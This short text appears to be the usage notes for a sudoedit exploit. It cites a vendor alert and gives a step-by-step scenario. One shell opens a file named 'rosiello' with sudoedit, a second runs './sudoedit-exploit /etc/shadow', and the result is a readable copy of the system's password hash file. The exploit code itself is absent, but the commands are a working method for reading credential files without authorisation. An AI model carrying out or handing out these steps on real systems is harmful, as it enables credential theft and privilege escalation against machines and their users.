                 sudoedit Exploit


SOFTWARE : sudoedit 
REFERENCE: [url]http://www.sudo.ws/sudo/alerts/sudoedit.html[/url]

How do I use this code ?

To exploit sudoedit you have to open with it the
file "rosiello" as shown in the example.

EXAMPLE SCENARIO:

1) Open two shells (i) and (ii);
2) (i)$sudoedit rosiello;
3) (ii)$./sudoedit-exploit /etc/shadow;
4) (i) close sudoedit.

The file "rosiello" is now a copy of "/etc/shadow".
